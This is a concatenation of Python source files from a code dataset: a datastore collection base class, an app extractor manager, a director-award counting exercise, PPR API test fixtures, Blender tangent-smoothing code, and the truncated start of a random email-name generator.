defined.\")\n\n def multiget(self, key_list, as_dictionary=True, as_obj=True, error_on_missing=True):\n \"\"\"\n Get a list of documents from the datastore and make sure they are normalized using\n the model class\n\n :param error_on_missing: Should it raise a key error when keys are missing\n :param as_dictionary: Return a disctionary of items or a list\n :param as_obj: Return objects or not\n :param key_list: list of keys of documents to get\n :return: list of instances of the model class\n \"\"\"\n missing = []\n\n if as_dictionary:\n output = {}\n for x in key_list:\n item = self.get(x, as_obj=as_obj)\n if item is None:\n missing.append(x)\n else:\n output[x] = item\n else:\n output = []\n for x in key_list:\n item = self.get(x, as_obj=as_obj)\n if item is None:\n missing.append(x)\n else:\n output.append(item)\n\n if error_on_missing and missing:\n raise MultiKeyError(missing, output)\n\n return output\n\n def _get(self, key, retries):\n \"\"\"\n This function should be overloaded in a way that if the document is not found,\n the function retries to get the document the specified amount of time.\n\n retries = -1 means that we will retry forever.\n\n :param key: key of the document to get from the datastore\n :param retries: number of time to retry if the document can't be found\n :return: The document strait of the datastore\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def get(self, key, as_obj=True):\n \"\"\"\n Get a document from the datastore, retry a few times if not found and normalize the\n document with the model provided with the collection.\n\n This is the normal way to get data of the system.\n\n :param as_obj: Should the data be returned as an ODM object\n :param key: key of the document to get from the datastore\n :return: an instance of the model class loaded with the document data\n \"\"\"\n return self.normalize(self._get(key, self.RETRY_NORMAL), as_obj=as_obj)\n\n def get_if_exists(self, key, as_obj=True):\n \"\"\"\n Get a document from the datastore but do not retry if not found.\n\n Use this more in caching scenarios because eventually consistent database may lead\n to have document reported has missing even if they exist.\n\n :param as_obj:\n :param key: key of the document to get from the datastore\n :return: an instance of the model class loaded with the document data\n \"\"\"\n return self.normalize(self._get(key, self.RETRY_NONE), as_obj=as_obj)\n\n def require(self, key, as_obj=True):\n \"\"\"\n Get a document from the datastore and retry forever because we know for sure\n that this document should exist. If it does not right now, this will wait for the\n document to show up in the datastore.\n\n :param as_obj:\n :param key: key of the document to get from the datastore\n :return: an instance of the model class loaded with the document data\n \"\"\"\n return self.normalize(self._get(key, self.RETRY_INFINITY), as_obj=as_obj)\n\n def save(self, key, data):\n \"\"\"\n Save a to document to the datastore using the key as its document id.\n\n The document data will be normalized before being saved in the datastore.\n\n :param key: ID of the document to save\n :param data: raw data or instance of the model class to save as the document\n :return: True if the document was saved properly\n \"\"\"\n if \" \" in key:\n raise DataStoreException(\"You are not allowed to use spaces in datastore keys.\")\n \n return self._save(key, self.normalize(data))\n\n def _save(self, key, data):\n \"\"\"\n This function should takes in an instance of the the model class as input\n and saves it to the database backend at the id mentioned by the key.\n\n This function should return True if the data was saved correctly\n\n :param key: key to use to store the document\n :param data: instance of the model class to save to the database\n :return: True if save was successful\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def archive(self, query):\n \"\"\"\n This function should archive to document that are matching to query to an time splitted index\n\n :param query: query to run to archive documents\n :return: Number of archived documents\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def delete(self, key):\n \"\"\"\n This function should delete the underlying document referenced by the key.\n It should return true if the document was in fact properly deleted.\n\n :param key: id of the document to delete\n :return: True is delete successful\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def delete_matching(self, query, workers=20):\n \"\"\"\n This function should delete the underlying documents referenced by the query.\n It should return true if the documents were in fact properly deleted.\n\n :param query: Query of the documents to download\n :param workers: Number of workers used for deletion if basic currency delete is used\n :return: True is delete successful\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def _validate_operations(self, operations):\n \"\"\"\n Validate the different operations received for a partial update\n\n TODO: When the field is of type Mapping, the validation/check only works for depth 1. A full recursive\n solution is needed to support multi-depth cases.\n\n :param operations: list of operation tuples\n :raises: DatastoreException if operation not valid\n \"\"\"\n if self.model_class:\n fields = self.model_class.flat_fields()\n if 'classification in fields':\n fields.update({\"__access_lvl__\": Integer(),\n \"__access_req__\": List(Keyword()),\n \"__access_grp1__\": List(Keyword()),\n \"__access_grp2__\": List(Keyword())})\n else:\n fields = None\n\n ret_ops = []\n for op, doc_key, value in operations:\n if op not in self.UPDATE_OPERATIONS:\n raise DataStoreException(f\"Not a valid Update Operation: {op}\")\n\n if fields is not None:\n prev_key = None\n if doc_key not in fields:\n if '.' in doc_key:\n prev_key = doc_key[:doc_key.rindex('.')]\n if prev_key in fields and not isinstance(fields[prev_key], Mapping):\n raise DataStoreException(f\"Invalid field for model: {prev_key}\")\n else:\n raise DataStoreException(f\"Invalid field for model: {doc_key}\")\n\n if prev_key:\n field = fields[prev_key].child_type\n else:\n field = fields[doc_key]\n\n if op in [self.UPDATE_APPEND, self.UPDATE_REMOVE]:\n try:\n value = field.check(value)\n except (ValueError, TypeError, AttributeError):\n raise DataStoreException(f\"Invalid value for field {doc_key}: {value}\")\n\n elif op in [self.UPDATE_SET, self.UPDATE_DEC, self.UPDATE_INC]:\n try:\n value = field.check(value)\n except (ValueError, TypeError):\n raise DataStoreException(f\"Invalid value for field {doc_key}: {value}\")\n\n if isinstance(value, Model):\n value = value.as_primitives()\n elif isinstance(value, datetime):\n value = value.isoformat()\n\n ret_ops.append((op, doc_key, value))\n\n return ret_ops\n\n def update(self, key, operations):\n \"\"\"\n This function performs an atomic update on some fields from the\n underlying documents referenced by the id using a list of operations.\n\n Operations supported by the update function are the following:\n INTEGER ONLY: Increase and decreased value\n LISTS ONLY: Append and remove items\n ALL TYPES: Set value\n\n :param key: ID of the document to modify\n :param operations: List of tuple of operations e.q. [(SET, document_key, operation_value), ...]\n :return: True is update successful\n \"\"\"\n operations = self._validate_operations(operations)\n return self._update(key, operations)\n\n def update_by_query(self, query, operations, filters=None, access_control=None):\n \"\"\"\n This function performs an atomic update on some fields from the\n underlying documents matching the query and the filters using a list of operations.\n\n Operations supported by the update function are the following:\n INTEGER ONLY: Increase and decreased value\n LISTS ONLY: Append and remove items\n ALL TYPES: Set value\n\n :param access_control:\n :param filters: Filter queries to reduce the data\n :param query: Query to find the matching documents\n :param operations: List of tuple of operations e.q. [(SET, document_key, operation_value), ...]\n :return: True is update successful\n \"\"\"\n operations = self._validate_operations(operations)\n if access_control:\n if filters is None:\n filters = []\n filters.append(access_control)\n return self._update_by_query(query, operations, filters=filters)\n\n def _update_by_query(self, query, operations, filters):\n with concurrent.futures.ThreadPoolExecutor(20) as executor:\n res = {self._get_obj_value(item, 'id'): executor.submit(self._update, self._get_obj_value(item, 'id'),\n operations)\n for item in self.stream_search(query, fl='id', filters=filters, as_obj=False)}\n count = 0\n for k, v in res.items():\n count += 1\n v.result()\n\n return count\n\n def _update(self, key, operations):\n with Lock(f'collection-{self.name}-update-{key}', 5):\n data = self.get(key, as_obj=False)\n\n for op, doc_key, value in operations:\n obj, cur_key = get_object(data, doc_key)\n if op == self.UPDATE_SET:\n obj[cur_key] = value\n elif op == self.UPDATE_DELETE:\n obj[cur_key].pop(value)\n elif op == self.UPDATE_APPEND:\n obj[cur_key].append(value)\n elif op == self.UPDATE_REMOVE:\n obj[cur_key].remove(value)\n elif op == self.UPDATE_INC:\n obj[cur_key] += value\n elif op == self.UPDATE_DEC:\n obj[cur_key] -= value\n\n return self._save(key, data)\n\n def search(self, query, offset=0, rows=DEFAULT_ROW_SIZE, sort=None, fl=None, timeout=None,\n filters=(), access_control=None, deep_paging_id=None, as_obj=True, use_archive=True,\n track_total_hits=False):\n \"\"\"\n This function should perform a search through the datastore and return a\n search result object that consist on the following::\n\n {\n \"offset\": 0, # Offset in the search index\n \"rows\": 25, # Number of document returned per page\n \"total\": 123456, # Total number of documents matching the query\n \"items\": [ # List of dictionary where each keys are one of\n { # the field list parameter specified\n fl[0]: value,\n ...\n fl[x]: value\n }, ...]\n }\n\n :param track_total_hits: Return to total matching document count\n :param use_archive: Query also the archive\n :param deep_paging_id: ID of the next page during deep paging searches\n :param as_obj: Return objects instead of dictionaries\n :param query: lucene query to search for\n :param offset: offset at which you want the results to start at (paging)\n :param rows: number of items that the search function should return\n :param sort: field to sort the data with\n :param fl: list of fields to return from the search\n :param timeout: maximum time of execution\n :param filters: additional queries to run on the original query to reduce the scope\n :param access_control: access control parameters to limiti the scope of the query\n :return: a search result object\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def stream_search(self, query, fl=None, filters=(), access_control=None,\n buffer_size=200, as_obj=True, use_archive=True):\n \"\"\"\n This function should perform a search through the datastore and stream\n all related results as a dictionary of key value pair where each keys\n are one of the field specified in the field list parameter.\n\n >>> # noinspection PyUnresolvedReferences\n >>> {\n >>> fl[0]: value,\n >>> ...\n >>> fl[x]: value\n >>> }\n\n :param use_archive: Query also the archive\n :param as_obj: Return objects instead of dictionaries\n :param query: lucene query to search for\n :param fl: list of fields to return from the search\n :param filters: additional queries to run on the original query to reduce the scope\n :param access_control: access control parameters to run the query with\n :param buffer_size: number of items to buffer with each search call\n :return: a generator of dictionary of field list results\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def keys(self, access_control=None):\n \"\"\"\n This function streams the keys of all the documents of this collection.\n\n :param access_control: access control parameter to limit the scope of the key scan\n :return: a generator of keys\n \"\"\"\n for item in self.stream_search(\"id:*\", fl='id', access_control=access_control):\n try:\n yield item.id\n except AttributeError:\n value = item['id']\n if isinstance(value, list):\n for v in value:\n yield v\n else:\n yield value\n\n # noinspection PyBroadException\n def _validate_steps_count(self, start, end, gap):\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n\n gaps_count = None\n ret_type = None\n\n try:\n start = int(start)\n end = int(end)\n gap = int(gap)\n\n gaps_count = int((end - start) / gap)\n ret_type = int\n except ValueError:\n pass\n\n if not gaps_count:\n if not (gap.startswith(\"-\") or gap.startswith(\"+\")):\n raise SearchException(\"Gap must be preceded with either + or - sign.\")\n\n try:\n parsed_start = dm(self.datastore.to_pydatemath(start)).timestamp\n parsed_end = dm(self.datastore.to_pydatemath(end)).timestamp\n parsed_gap = dm(self.datastore.to_pydatemath(gap)).timestamp - dm('now').timestamp\n\n gaps_count = int((parsed_end - parsed_start) / parsed_gap)\n ret_type = str\n except (DateMathException, AttributeError):\n pass\n\n if not gaps_count:\n raise SearchException(\n \"Could not parse date ranges. (start='%s', end='%s', gap='%s')\" % (start, end, gap))\n\n if gaps_count > self.MAX_FACET_LIMIT:\n raise SearchException(f'Histograms are limited to a maximum of {self.MAX_FACET_LIMIT} steps. '\n f'Current settings would generate {gaps_count} steps')\n return ret_type\n\n def histogram(self, field, start, end, gap, query=\"id:*\", mincount=1,\n filters=None, access_control=None, use_archive=True):\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def facet(self, field, query=\"id:*\", prefix=None, contains=None, ignore_case=False, sort=None, limit=10,\n mincount=1, filters=None, access_control=None, use_archive=True):\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def stats(self, field, query=\"id:*\", filters=None, access_control=None, use_archive=True):\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def grouped_search(self, group_field, query=\"id:*\", offset=None, sort=None, group_sort=None, fl=None, limit=None,\n rows=DEFAULT_ROW_SIZE, filters=(), access_control=None, as_obj=True, use_archive=True):\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def fields(self):\n \"\"\"\n This function should return all the fields in the index with their types\n\n :return:\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def _ensure_collection(self):\n \"\"\"\n This function should test if the collection that you are trying to access does indeed exist\n and should create it if it does not.\n\n :return:\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n def __get_possible_fields(self, field):\n field_types = [field.__name__.lower()]\n if field.__bases__[0] != _Field:\n field_types.extend(self.__get_possible_fields(field.__bases__[0]))\n\n return field_types\n\n def _check_fields(self, model=None):\n if model is None:\n if self.model_class:\n return self._check_fields(self.model_class)\n return\n\n fields = self.fields()\n model = self.model_class.flat_fields(skip_mappings=True)\n\n missing = set(model.keys()) - set(fields.keys())\n if missing:\n self._add_fields({key: model[key] for key in missing})\n\n matching = set(fields.keys()) & set(model.keys())\n for field_name in matching:\n if fields[field_name]['indexed'] != model[field_name].index:\n raise RuntimeError(f\"Field {field_name} didn't have the expected indexing value.\")\n if fields[field_name]['stored'] != model[field_name].store:\n raise RuntimeError(f\"Field {field_name} didn't have the expected store value.\")\n\n possible_field_types = self.__get_possible_fields(model[field_name].__class__)\n\n if fields[field_name]['type'] not in possible_field_types:\n raise RuntimeError(f\"Field {field_name} didn't have the expected store \"\n f\"type. [{fields[field_name]['type']} != \"\n f\"{model[field_name].__class__.__name__.lower()}]\")\n\n def _add_fields(self, missing_fields: Dict[str, _Field]):\n raise RuntimeError(f\"Couldn't load collection, fields missing: {missing_fields.keys()}\")\n\n def wipe(self):\n \"\"\"\n This function should completely delete the collection\n\n NEVER USE THIS!\n\n :return:\n \"\"\"\n raise UndefinedFunction(\"This is the basic collection object, none of the methods are defined.\")\n\n\nclass BaseStore(object):\n ID = 'id'\n DEFAULT_SORT = None\n DATE_FORMAT = {\n 'NOW': None,\n 'YEAR': None,\n 'MONTH': None,\n 'WEEK': None,\n 'DAY': None,\n 'HOUR': None,\n 'MINUTE': None,\n 'SECOND': None,\n 'MILLISECOND': None,\n 'MICROSECOND': None,\n 'NANOSECOND': None,\n 'SEPARATOR': None,\n 'DATE_END': None\n }\n\n DATEMATH_MAP = {\n 'NOW': 'now',\n 'YEAR': 'y',\n 'MONTH': 'M',\n 'WEEK': 'w',\n 'DAY': 'd',\n 'HOUR': 'h',\n 'MINUTE': 'm',\n 'SECOND': 's',\n 'DATE_END': 'Z||'\n }\n\n def __init__(self, hosts, collection_class, ilm_config=None):\n self._hosts = hosts\n self._collection_class = collection_class\n self._closed = False\n self._collections = {}\n self._models = {}\n self.ilm_config = ilm_config\n\n def __enter__(self):\n return self\n\n # noinspection PyUnusedLocal\n def __exit__(self, ex_type, exc_val, exc_tb):\n self.close()\n\n def __str__(self):\n return '{0}'.format(self.__class__.__name__)\n\n def __getattr__(self, name) -> Collection:\n if name not in self._collections:\n model_class = self._models[name]\n self._collections[name] = self._collection_class(self, name, model_class=model_class)\n\n return self._collections[name]\n\n def get_models(self):\n return self._models\n\n def to_pydatemath(self, value):\n replace_list = [\n (self.now, self.DATEMATH_MAP['NOW']),\n (self.year, self.DATEMATH_MAP['YEAR']),\n (self.month, self.DATEMATH_MAP['MONTH']),\n (self.week, self.DATEMATH_MAP['WEEK']),\n (self.day, self.DATEMATH_MAP['DAY']),\n (self.hour, self.DATEMATH_MAP['HOUR']),\n (self.minute, self.DATEMATH_MAP['MINUTE']),\n (self.second, self.DATEMATH_MAP['SECOND']),\n (self.DATE_FORMAT['DATE_END'], self.DATEMATH_MAP['DATE_END'])\n ]\n\n for x in replace_list:\n value = value.replace(*x)\n\n return value\n\n @property\n def now(self):\n return self.DATE_FORMAT['NOW']\n\n @property\n def ms(self):\n return self.DATE_FORMAT['MILLISECOND']\n\n @property\n def us(self):\n return self.DATE_FORMAT['MICROSECOND']\n\n @property\n def ns(self):\n return self.DATE_FORMAT['NANOSECOND']\n\n @property\n def year(self):\n return self.DATE_FORMAT['YEAR']\n\n @property\n def month(self):\n return self.DATE_FORMAT['MONTH']\n\n @property\n def week(self):\n return self.DATE_FORMAT['WEEK']\n\n @property\n def day(self):\n return self.DATE_FORMAT['DAY']\n\n @property\n def hour(self):\n return self.DATE_FORMAT['HOUR']\n\n @property\n def minute(self):\n return self.DATE_FORMAT['MINUTE']\n\n @property\n def second(self):\n return self.DATE_FORMAT['SECOND']\n\n @property\n def date_separator(self):\n return self.DATE_FORMAT['SEPARATOR']\n\n def get_hosts(self, safe=False):\n if not safe:\n return self._hosts\n else:\n out = []\n for h in self._hosts:\n parsed = urlparse(h)\n out.append(parsed.hostname or parsed.path)\n return out\n\n def close(self):\n self._closed = True\n\n def connection_reset(self):\n raise UndefinedFunction(\"This is the basic datastore object, connection_reset method is undefined.\")\n\n def ping(self):\n raise UndefinedFunction(\"This is the basic datastore object, ping method is undefined.\")\n\n def is_closed(self):\n return self._closed\n\n def register(self, name, model_class=None):\n if re.match(r'[a-z0-9_]*', name).string != name:\n raise DataStoreException('Invalid characters in model name. '\n 'You can only use lower case letters, numbers and underscores.')\n\n self._models[name] = model_class\n","sub_path":"assemblyline/datastore/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":29594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"588197516","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport re\nfrom app_extractors import WinTitleExtractor, DummyExtractor, app_name_to_extractor_class, \\\n win_title_re_to_extractor_class\n\n\nclass ExtractorManager(object):\n def __init__(self):\n self.pid_to_extractor = {} # Links app PIDs to instances of extractor class (like 314 -> FirefoxExtractor)\n\n def extractor(self, win_title, app_pid, app_name):\n if app_pid:\n if app_pid not in self.pid_to_extractor:\n self._init_extractor(win_title, app_pid, app_name)\n\n extractor = self.pid_to_extractor[app_pid]\n else: # Error, couldn't extract PID of window\n extractor = WinTitleExtractor()\n return extractor\n\n def _init_extractor(self, win_title, pid, app_name):\n if app_name in app_name_to_extractor_class:\n extractor_class = app_name_to_extractor_class[app_name]\n extractor_obj = extractor_class(pid)\n else:\n for regex, extractor in win_title_re_to_extractor_class.iteritems():\n if re.search(regex, win_title):\n extractor_obj = extractor(pid)\n break\n else:\n extractor_obj = DummyExtractor(app_name)\n\n self.pid_to_extractor[pid] = extractor_obj\n","sub_path":"computer_activity/extractor_manager.py","file_name":"extractor_manager.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"590145777","text":"nominated = {1931:['Norman Tib','Wesley Roth'],1932:['Frank B','Wesley Roth'],1933:['Norman Tib','Jack Lee'],1934:['Frank B','Andrew Young']}\nwinners = {1931:['Norman Tib'],1932:['Frank B'],1933:['Jack Lee'],1934:['Frank B']}\n#count each director's num of being nominated, count win times\nnom_count_dict = {}\nprint(\"Nomination count:\")\nfor year, list_dirc in nominated.items():\n for director in list_dirc:\n if director not in nom_count_dict:\n nom_count_dict[director] = 1\n else:\n nom_count_dict[director] += 1\nprint('nom_count_dict = {}\\n'.format(nom_count_dict))\n\n#count each winner's winning times\nprint('Winning count:')\nwin_count_dict = {}\nfor year, winner_list in winners.items():\n for winner in winner_list:\n win_count_dict[winner] = win_count_dict.get(winner,0)+1\nprint('win_count_dict = {}\\n'.format(win_count_dict))\n\n#find the director who win most times and the highest winning times:\nprint('The director who won most times and the highest winning times:')\nprint('Method 1')\nhighest_count = 0\nmost_win_director = []\nfor key, value in win_count_dict.items():\n if value > highest_count:\n highest_count = value\n most_win_director.clear()\n #to delete the loser\n most_win_director.append(key)\n elif value == highest_count:\n most_win_director.append(key)\n #if not this one, tie directors will be omitted\n else:\n continue\nprint('most_win_director is{}'.format(most_win_director))\nprint('highest_winning_count is {}'.format(highest_count))\n\n\nprint('\\nMethod 2')\nhighest_count = max(win_count_dict.values())\n#easier way\nmost_win_director = [key for key, value in win_count_dict.items() if value == highest_count]\nprint('most_win_director is{}'.format(most_win_director))\nprint('highest_winning_count is {}'.format(highest_count))\n","sub_path":"director_nomination_project.py","file_name":"director_nomination_project.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"452229612","text":"import datetime\n\nimport datedelta\nimport sqlalchemy.orm\n\nimport models.database\nimport models.financing_statement\nimport models.payment\nimport models.search\nimport schemas.financing_statement\n\n\ndef create_test_financing_statement(**kwargs):\n options = dict({\n 'type_code': schemas.financing_statement.RegistrationType.SECURITY_AGREEMENT.value,\n 'num_of_events': 1,\n 'years': -1\n }, **kwargs)\n\n db = models.database.SessionLocal()\n try:\n reg_num = next_reg_number(db)\n life = options['years']\n expiry = datetime.date.today() + datedelta.datedelta(years=options['years']) if life > 0 else None\n fin_stmt = models.financing_statement.FinancingStatement(\n registration_type_code=options['type_code'], registration_number=reg_num, status='A',\n life_in_years=options['years'], expiry_date=expiry\n )\n event = models.financing_statement.FinancingStatementEvent(registration_number=reg_num)\n fin_stmt.events.append(event)\n\n # Add additional events if needed\n for n in range(1, options['num_of_events']):\n fin_stmt.events.append(\n models.financing_statement.FinancingStatementEvent(registration_number=next_reg_number(db))\n )\n\n db.add(fin_stmt)\n db.commit()\n db.refresh(fin_stmt)\n fin_stmt.events # Explicitly lazy load the events before closing the session\n return fin_stmt\n finally:\n db.close()\n\n\ndef next_reg_number(db):\n return str(db.execute(\"SELECT nextval('reg_number_seq')\").first()[0])\n\n\ndef create_test_search_record(type_code: str, criteria: dict, matches: list = [],\n payment: schemas.payment.Payment = None):\n db = models.database.SessionLocal()\n try:\n search_rec = models.search.Search(type_code=type_code, criteria=criteria)\n if payment:\n search_rec.payment = models.payment.Payment(id=payment.id, method=payment.method, status=payment.status)\n db.add(search_rec)\n\n for reg in matches:\n search_rec.results.append(models.search.SearchResult(registration_number=reg, exact=True, selected=True))\n\n db.commit()\n db.refresh(search_rec)\n return search_rec\n finally:\n db.close()\n\n\ndef retrieve_search_record(search_id: int):\n db = models.database.SessionLocal()\n try:\n return db.query(models.search.Search).get(search_id)\n finally:\n db.close()\n\n\ndef retrieve_search_result_records(search_id: int):\n db = models.database.SessionLocal()\n try:\n return db.query(models.search.SearchResult).filter(models.search.SearchResult.search_id == search_id).all()\n finally:\n db.close()\n\n\ndef retrieve_financing_statement_record(base_reg_number: str):\n db = models.database.SessionLocal()\n try:\n query = db.query(models.financing_statement.FinancingStatement)\\\n .options(sqlalchemy.orm.joinedload('events').joinedload('starting_parties'))\\\n .options(sqlalchemy.orm.joinedload('parties'))\n return query.get(base_reg_number)\n finally:\n db.close()\n","sub_path":"ppr-api/tests/integration/utilities/sample_data_utility.py","file_name":"sample_data_utility.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"579068897","text":"# Old custom tangents\n#\n# - separate from the exporter since it's not needed for newer builds\n# - kept for backwards compatibility + surprise that it worked\n#\n#\n# Based on:\n# Lengyel, Eric. “Computing Tangent Space Basis Vectors for an Arbitrary Mesh”. Terathon Software 3D Graphics Library, 2001.\n# http://www.terathon.com/code/tangent.html\n#\n\nimport math\nfrom mathutils import Vector\n\n\n'''\t\tCalculate uv direction for tangent space:\n - tris required (kind of... half of each face is not considered in\n\t\tcalculation if using quads but tangents are ok if engine triangulation is close enough)\n - uvs must be properly mapped to vertices\n'''\n\n\ndef calc_uvtanbase(uvpoly, polyverts):\n # get uv distances\n uv_dBA = uvpoly[1] - uvpoly[0]\n uv_dCA = uvpoly[2] - uvpoly[0]\n # get point distances\n p_dBA = polyverts[1] - polyverts[0]\n p_dCA = polyverts[2] - polyverts[0]\n # calculate face area\n area = (uv_dBA[0] * uv_dCA[1]) - (uv_dBA[1] * uv_dCA[0])\n if area > 0.0:\n area = 1.0 / area\n tangentdir = (\n ((uv_dCA[1] * p_dBA[0]) - (uv_dBA[1] * p_dCA[0])) * area,\n ((uv_dCA[1] * p_dBA[1]) - (uv_dBA[1] * p_dCA[1])) * area,\n ((uv_dCA[1] * p_dBA[2]) - (uv_dBA[1] * p_dCA[2])) * area\n )\n return tangentdir\n\n\ndef build_initialtanlists(me_faces, me_vertices, t_uvlayer, me_normals):\n vindices = []\n vindexlist2 = []\n uvverts_list = []\n uv_vertcoords = []\n\n for i in range(len(me_faces)):\n faceverts = []\n uvface = []\n\n uvface.append(t_uvlayer[i].uv1.copy())\n uv_vertcoords.append(t_uvlayer[i].uv1.copy())\n uvface.append(t_uvlayer[i].uv2.copy())\n uv_vertcoords.append(t_uvlayer[i].uv2.copy())\n uvface.append(t_uvlayer[i].uv3.copy())\n uv_vertcoords.append(t_uvlayer[i].uv3.copy())\n if len(me_faces[i].vertices) > 3:\n uvface.append(t_uvlayer[i].uv4.copy())\n uv_vertcoords.append(t_uvlayer[i].uv4.copy())\n\n for j in me_faces[i].vertices:\n faceverts.append(me_vertices[j].co.copy())\n vindexlist2.append(len(vindices))\n vindices.append(j)\n\n for k in range(len(me_faces[i].vertices)):\n uvverts_list.append(\n Vector(calc_uvtanbase(uvface, faceverts))\n )\n\n # check if tangents are valid\n if len(uvverts_list) != len(me_normals):\n operator.report(\n {'WARNING'},\n \"UV list length mismatch: Tangents will not be calculated.\"\n )\n else:\n # Calculate tangents/binormals from normals list and uvverts_list\n return calc_custtangents(\n len(me_vertices), uv_vertcoords, uvverts_list,\n vindexlist2, vindices, me_normals\n )\n\n return [], []\n\n\ndef check_uvvertdist(coord1, coord2, length):\n return math.sqrt(((coord1[0] - coord2[0]) ** 2) + ((coord1[1] - coord2[1]) ** 2)) < 0.01\n\n\n'''\t\t\tTangent Smoothing\n\t- averages the tangents for each vert connected to a smoothed face to remove 'jittering'\n\t- smoothing is based on uv islands each vert's faces are in\n'''\n\n\ndef calc_custtangents(vertlength, uv_vertcoords, uvverts_list, vindexlist2, vindices, me_normals):\n me_tangents = []\n me_binormals = []\n\n for i in range(len(me_normals)):\n tan = (uvverts_list[i] - (\n me_normals[i] * me_normals[i].dot(uvverts_list[i])\n )).normalized()\n me_tangents.append(tan)\n me_binormals.append(me_normals[i].cross(tan))\n\n tempvect = Vector((0.0, 0.0, 0.0))\n smoothlist = [[], [], [], []]\n vertstoremove = []\n new_tangents = [v for v in me_tangents]\n\n for i in range(vertlength):\n # Gather Loop\n # - slow - checks the index list for uv islands each vert is part of\n for j in vindexlist2:\n if vindices[j] == i:\n vertstoremove.append(j)\n if len(smoothlist[0]) > 0:\n if check_uvvertdist(uv_vertcoords[j], uv_vertcoords[smoothlist[0][0]], 0.01):\n smoothlist[0].append(j)\n else:\n if len(smoothlist[1]) > 0:\n if check_uvvertdist(uv_vertcoords[j], uv_vertcoords[smoothlist[1][0]], 0.01):\n smoothlist[1].append(j)\n else:\n if len(smoothlist[2]) > 0:\n if check_uvvertdist(uv_vertcoords[j], uv_vertcoords[smoothlist[2][0]], 0.01):\n smoothlist[2].append(j)\n else:\n smoothlist[3].append(j)\n else:\n smoothlist[2].append(j)\n else:\n smoothlist[1].append(j)\n else:\n smoothlist[0].append(j)\n\n # calculation time tweak: remove indices that won't come up again for less iterations in successive passes\n for k in vertstoremove:\n vindexlist2.remove(k)\n\n # actual smoothing is done here:\n smooth_vertcusttangents(tempvect, smoothlist, me_normals, me_tangents, me_binormals, new_tangents)\n\n # reset vars for next iteration\n smoothlist = [[], [], [], []]\n vertstoremove = []\n tempvect.zero()\n\n me_tangents = [v for v in new_tangents]\n\n return me_tangents, me_binormals\n\n\n'''\n\t\tSmoothing pass for each vert\n\t- averages the tangents of vertices that are on the same uv island\n\t- 4 uv islands / vertex max, anything else gets averaged into fourth island for now\n'''\n\n\ndef smooth_vertcusttangents(tempvect, smoothlist, me_normals, me_tangents, me_binormals, new_tangents):\n if len(smoothlist[0]) > 0:\n for l in smoothlist[0]:\n tempvect += me_tangents[l]\n tempvect = tempvect / float(len(smoothlist[0]))\n for t in smoothlist[0]:\n new_tangents[t] = tempvect.copy()\n me_binormals[t] = me_normals[t].cross(tempvect)\n\n if len(smoothlist[1]) > 0:\n tempvect.zero()\n for l in smoothlist[1]:\n tempvect += me_tangents[l]\n tempvect = tempvect / float(len(smoothlist[1]))\n for t in smoothlist[1]:\n new_tangents[t] = tempvect.copy()\n me_binormals[t] = me_normals[t].cross(tempvect)\n\n if len(smoothlist[2]) > 0:\n tempvect.zero()\n for l in smoothlist[2]:\n tempvect += me_tangents[l]\n tempvect = tempvect / float(len(smoothlist[2]))\n for t in smoothlist[2]:\n new_tangents[t] = tempvect.copy()\n me_binormals[t] = me_normals[t].cross(tempvect)\n\n if len(smoothlist[3]) > 0:\n tempvect.zero()\n for l in smoothlist[3]:\n tempvect += me_tangents[l]\n tempvect = tempvect / float(len(smoothlist[3]))\n for t in smoothlist[3]:\n new_tangents[t] = tempvect.copy()\n me_binormals[t] = me_normals[t].cross(tempvect)\n","sub_path":"scripts/addons_extern/udk_fbx_tools/cust_tangents.py","file_name":"cust_tangents.py","file_ext":"py","file_size_in_byte":7186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"318633972","text":"#!/usr/bin/env python\n# Random Name Generator for DGA \n# Author: Andrey Ferriyan \n# Script: LibDGA.py\n# v1.9\n# \n\nimport random\n\nclass LibDGA(object):\n\tdef __init__(self, properName=None):\n\t\t\"\"\"\n\t\tInitialization\n\t\t\n\t\tExample:\n\t\t>>> from LibDGA import LibDGA as ldga\n\t\t>>> email = ldga()\t\n\t\t\"\"\"\n\n\t\tPROPERNAMES=\"../../raw_data/names/propernames.txt\"\n\t\tVALIDEMAIL=\"../../raw_data/emailproviders/valid_email_providers.txt\"\n\t\tself.properName = properName\n\t\tself.fName = None\n\t\tself.fMail = None\n\t\tif self.properName == None:\n\t\t\tself.fName = PROPERNAMES\n\t\t\tself.fMail = VALIDEMAIL\n\t\t\tprint(\"Using default propernames...\")\n\t\telse:\n\t\t\tself.fName = self.properName\n\t\t\tself.fMail = self.validEmail\n\t\t\tprint(\"Using custom propernames...\")\n\n\tdef _loadListName(self):\n\t\t\"\"\"\n\t\tLoad proper full name list.\n\n\t\tSource: https://svnweb.freebsd.org/csrg/share/dict/propernames?revision=61766&view=co\n\t\t\"\"\"\n\t\tfh = 